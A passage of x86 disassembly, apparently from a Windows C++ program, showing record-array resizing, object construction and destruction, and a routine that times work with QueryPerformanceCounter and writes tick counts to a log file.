rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea edi, [ebp]
mov dword [esp + 0x80], esi
test esi, esi
mov byte [esp + 0x190], 0x72
je 0x5901a4b5
mov ecx, esi
call fcn.590137f0
add esi, 0x48
mov byte [esp + 0x190], 0x6c
dec edi
mov dword [esp + 0x74], esi
jne 0x5901a49b
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x591ad578], eax
mov dword [0x591ad574], eax
jmp 0x5901a73d
mov esi, dword [0x591ad578]
cmp ebp, esi
jg 0x5901a632
cmp ecx, ebp
jge 0x5901a5b0
mov esi, ebp
xor eax, eax
sub esi, ecx
lea ecx, [ecx + ecx*8]
lea edx, [edx + ecx*8]
lea ecx, [esi + esi*8]
shl ecx, 3
mov ebp, ecx
mov edi, edx
shr ecx, 2
mov dword [esp + 0x74], edx
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, esi
dec esi
test eax, eax
je 0x5901a623
lea ecx, [esi + 1]
mov eax, edx
mov dword [esp + 0x80], eax
test edx, edx
mov byte [esp + 0x190], 0x73
je 0x5901a58f
mov esi, dword [0x59162880]
mov dword [edx + 0x1c], esi
mov esi, dword [0x59162880]
mov byte [esp + 0x190], 0x74
mov dword [eax + 0x20], esi
mov esi, dword [0x59162880]
mov byte [esp + 0x190], 0x75
mov dword [eax + 0x24], esi
mov esi, dword [0x5916287c]
mov byte [esp + 0x190], 0x76
mov dword [eax + 0x2c], esi
mov esi, dword [0x59162880]
mov byte [esp + 0x190], 0x77
mov dword [eax + 0x44], esi
mov byte [esp + 0x190], 0x73
add edx, 0x48
mov byte [esp + 0x190], 0x6c
dec ecx
mov dword [esp + 0x74], edx
jne 0x5901a525
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x591ad574], eax
jmp 0x5901a73d
jle 0x5901a623
lea eax, [ebp + ebp*8]
sub ecx, ebp
lea esi, [edx + eax*8]
mov edx, ecx
dec ecx
mov dword [esp + 0x74], esi
test edx, edx
je 0x5901a623
lea edi, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x190], 0x7c
call fcn.590a6240
lea ecx, [esi + 0x2c]
mov byte [esp + 0x190], 0x7b
call fcn.590a0ec0
lea ecx, [esi + 0x24]
mov byte [esp + 0x190], 0x7a
call fcn.590a6240
lea ecx, [esi + 0x20]
mov byte [esp + 0x190], 0x79
call fcn.590a6240
lea ecx, [esi + 0x1c]
mov byte [esp + 0x190], 0x6c
call fcn.590a6240
add esi, 0x48
dec edi
mov dword [esp + 0x74], esi
jne 0x5901a5c9
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x591ad574], eax
jmp 0x5901a73d
mov eax, dword [0x591ad57c]
cmp eax, edi
jne 0x5901a65e
mov eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
cmp eax, 4
jge 0x5901a652
mov eax, 4
jmp 0x5901a65e
cmp eax, 0x400
jle 0x5901a65e
mov eax, 0x400
add eax, esi
cmp ebp, eax
mov dword [esp + 0x7c], eax
jl 0x5901a66c
mov dword [esp + 0x7c], ebp
mov eax, dword [esp + 0x7c]
lea ecx, [eax + eax*8]
shl ecx, 3
push ecx
call fcn.5913d2d0
mov ecx, dword [0x591ad574]
mov esi, dword [0x591ad570]
mov edi, eax
mov dword [esp + 0x84], eax
lea ecx, [ecx + ecx*8]
add esp, 4
shl ecx, 3
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x591ad574]
sub edx, ecx
lea ecx, [ecx + ecx*8]
lea esi, [eax + ecx*8]
lea ecx, [edx + edx*8]
shl ecx, 3
mov ebp, ecx
xor eax, eax
mov edi, esi
mov dword [esp + 0x74], esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
dec edx
test eax, eax
je 0x5901a70a
lea edi, [edx + 1]
mov dword [esp + 0x128], esi
test esi, esi
mov byte [esp + 0x190], 0x7e
je 0x5901a6f8
mov ecx, esi
call fcn.590137f0
add esi, 0x48
mov byte [esp + 0x190], 0x6c
dec edi
mov dword [esp + 0x74], esi
jne 0x5901a6de
mov ecx, dword [0x591ad570]
push ecx
call fcn.5913d2f9
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x84]
mov ecx, dword [esp + 0x80]
add esp, 4
inc eax
mov dword [0x591ad570], edx
mov dword [0x591ad574], eax
mov dword [0x591ad578], ecx
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0xc8]
lea esi, [esp + 0xcc]
lea edx, [eax + eax*8]
mov eax, dword [0x591ad570]
lea ebp, [eax + edx*8]
lea edx, [esp + 0xe4]
push edx
mov dword [ebp], ecx
lea edi, [ebp + 4]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 0x1c]
call fcn.590a63d0
lea eax, [esp + 0xe8]
lea ecx, [ebp + 0x20]
push eax
call fcn.590a63d0
lea ecx, [esp + 0xec]
push ecx
lea ecx, [ebp + 0x24]
call fcn.590a63d0
mov edx, dword [esp + 0xf0]
lea eax, [esp + 0xf4]
push eax
lea ecx, [ebp + 0x2c]
mov dword [ebp + 0x28], edx
call fcn.590a1040
mov ecx, dword [esp + 0xf8]
lea edx, [ebp + 0x34]
mov dword [ebp + 0x30], ecx
mov eax, dword [esp + 0xfc]
mov dword [edx], eax
mov ecx, dword [esp + 0x100]
mov dword [edx + 4], ecx
mov eax, dword [esp + 0x104]
mov dword [edx + 8], eax
mov ecx, dword [esp + 0x108]
mov dword [edx + 0xc], ecx
lea edx, [esp + 0x10c]
push edx
lea ecx, [ebp + 0x44]
call fcn.590a63d0
lea ecx, [esp + 0x70]
mov byte [esp + 0x190], 0x6a
call fcn.590a0ec0
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x68
call fcn.590a6240
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 0x64
call fcn.590a6240
lea ecx, [esp + 0xa0]
mov byte [esp + 0x190], 0x63
call fcn.590a6240
lea ecx, [esp + 0x90]
mov byte [esp + 0x190], 0x62
call fcn.590a6240
lea ecx, [esp + 0x10c]
mov byte [esp + 0x190], 0x82
call fcn.590a6240
lea ecx, [esp + 0xf4]
mov byte [esp + 0x190], 0x81
call fcn.590a0ec0
lea ecx, [esp + 0xec]
mov byte [esp + 0x190], 0x80
call fcn.590a6240
lea ecx, [esp + 0xe8]
mov byte [esp + 0x190], 0x7f
call fcn.590a6240
lea ecx, [esp + 0xe4]
mov byte [esp + 0x190], 0x5b
call fcn.590a6240
mov eax, dword [esp + 0xb8]
inc ebx
cmp ebx, eax
jl 0x5901a0d1
jmp 0x5901ab6a
lea ecx, [esp + 0xb4]
call fcn.5901ace0
test eax, eax
jne 0x5901aaf2
test edi, edi
je 0x5901aaf2
lea ecx, [esp + 0xc8]
call fcn.5901acf0
mov bl, 0x84
mov byte [esp + 0x190], bl
mov eax, dword [edi]
mov dword [esp + 0xcc], eax
mov ecx, dword [edi + 4]
mov dword [esp + 0xd0], ecx
mov edx, dword [edi + 8]
mov dword [esp + 0xd4], edx
mov eax, dword [edi + 0xc]
lea ecx, [esp + 0xdc]
mov dword [esp + 0xd8], eax
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [esp + 0x1a0]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0xec]
mov dword [esp + 0xcc], edx
call fcn.590a63d0
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0xf4]
call fcn.590a63d0
lea edx, [esp + 0x40]
lea ecx, [esp + 0xf4]
push edx
call fcn.590a63d0
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xf8]
push eax
call fcn.590a63d0
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0xf0]
call fcn.590a63d0
lea edx, [esp + 0x28]
lea ecx, [esp + 0xfc]
push edx
call fcn.590a63d0
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x100]
push eax
call fcn.590a63d0
lea ecx, [esp + 0x8c]
push ecx
lea ecx, [esp + 0xe8]
call fcn.590a63d0
lea edx, [esp + 0x34]
push 0x59189484
push edx
call fcn.59059ed0
add esp, 8
push eax
lea ecx, [esp + 0x108]
mov byte [esp + 0x194], 0x85
call fcn.590a1040
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], bl
call fcn.590a0ec0
push 0x180
push 0x8101
lea ecx, [esp + 0x10c]
call fcn.5901acd0
push eax
call fcn.5908928d
add esp, 0xc
lea ecx, [esp + 0x30]
mov esi, eax
call fcn.59007090
cmp esi, 0xffffffff
mov byte [esp + 0x190], 0x86
je 0x5901aaa1
mov eax, dword [esp + 0x98]
push eax
push ebp
push esi
call fcn.5908909d
mov ecx, dword [esp + 0xec]
mov edx, dword [esp + 0xe8]
mov eax, dword [edi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [edi + 8]
push edx
mov edx, dword [edi + 4]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
lea ecx, [esp + 0x48]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.590a3d20
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.5901acc0
push eax
push 0
lea ecx, [esp + 0x38]
call fcn.590a1b50
push eax
push esi
call fcn.5908909d
push esi
call fcn.59088fbd
add esp, 0x10
lea ecx, [esp + 0x30]
call fcn.5901acc0
mov ecx, dword [esp + 0x98]
lea edx, [esp + 0xc8]
add eax, ecx
push edx
mov ecx, 0x591ad580
mov dword [esp + 0x10c], eax
call fcn.59060220
lea ecx, [esp + 0x30]
mov byte [esp + 0x190], bl
call fcn.590a0ec0
lea ecx, [esp + 0xc8]
mov byte [esp + 0x190], 0x5b
call fcn.59012880
jmp 0x5901ab6a
mov eax, dword [esp + 0x80]
test eax, eax
je 0x5901ab1b
lea ecx, [esp + 0xb4]
call fcn.5901ace0
test eax, eax
je 0x5901ab6a
push str.________________Save_____________
lea ecx, [esp + 0x2c]
call fcn.590a64c0
lea eax, [esp + 0x134]
lea ecx, [esp + 0x148]
push eax
lea edx, [esp + 0xb8]
push ecx
lea eax, [esp + 0xa4]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x50]
push edx
lea ecx, [esp + 0x58]
push eax
lea edx, [esp + 0x64]
push ecx
mov ecx, dword [esp + 0xb8]
lea eax, [esp + 0x40]
push edx
push eax
push ecx
push ebp
call fcn.59024d80
add esp, 0x30
lea ecx, [esp + 0x8c]
mov byte [esp + 0x190], 0x5a
call fcn.590a6240
lea ecx, [esp + 0x9c]
mov byte [esp + 0x190], 0x23
call fcn.590a6240
lea ecx, [esp + 0x134]
mov byte [esp + 0x190], 0x22
call fcn.590b3a50
lea ecx, [esp + 0x148]
mov byte [esp + 0x190], 0x21
call fcn.590abbd0
lea ecx, [esp + 0xb4]
mov byte [esp + 0x190], 0x20
call fcn.590abbd0
lea ecx, [esp + 0x2c]
mov byte [esp + 0x190], 0x1f
call fcn.590a6240
lea ecx, [esp + 0x3c]
mov byte [esp + 0x190], 0x1e
call fcn.590a6240
lea ecx, [esp + 0x40]
mov byte [esp + 0x190], 0x1d
call fcn.590a6240
lea ecx, [esp + 0x48]
mov byte [esp + 0x190], 0x1c
call fcn.590a6240
lea ecx, [esp + 0x28]
mov byte [esp + 0x190], 0x1b
call fcn.590a6240
lea ecx, [esp + 0x6c]
mov byte [esp + 0x190], 0x1a
call fcn.590a6240
lea ecx, [esp + 0x38]
mov byte [esp + 0x190], 0x13
call fcn.590a6240
lea ecx, [esp + 0x50]
mov byte [esp + 0x190], 0xf
call fcn.590a6240
lea ecx, [esp + 0x58]
mov byte [esp + 0x190], 0xe
call fcn.590a6240
lea ecx, [esp + 0x5c]
mov byte [esp + 0x190], 4
call fcn.590a6240
lea ecx, [esp + 0x60]
mov byte [esp + 0x190], 0
call fcn.590a6240
lea ecx, [esp + 0x20]
mov dword [esp + 0x190], 0xffffffff
call fcn.590a6240
mov ecx, dword [esp + 0x188]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x184
ret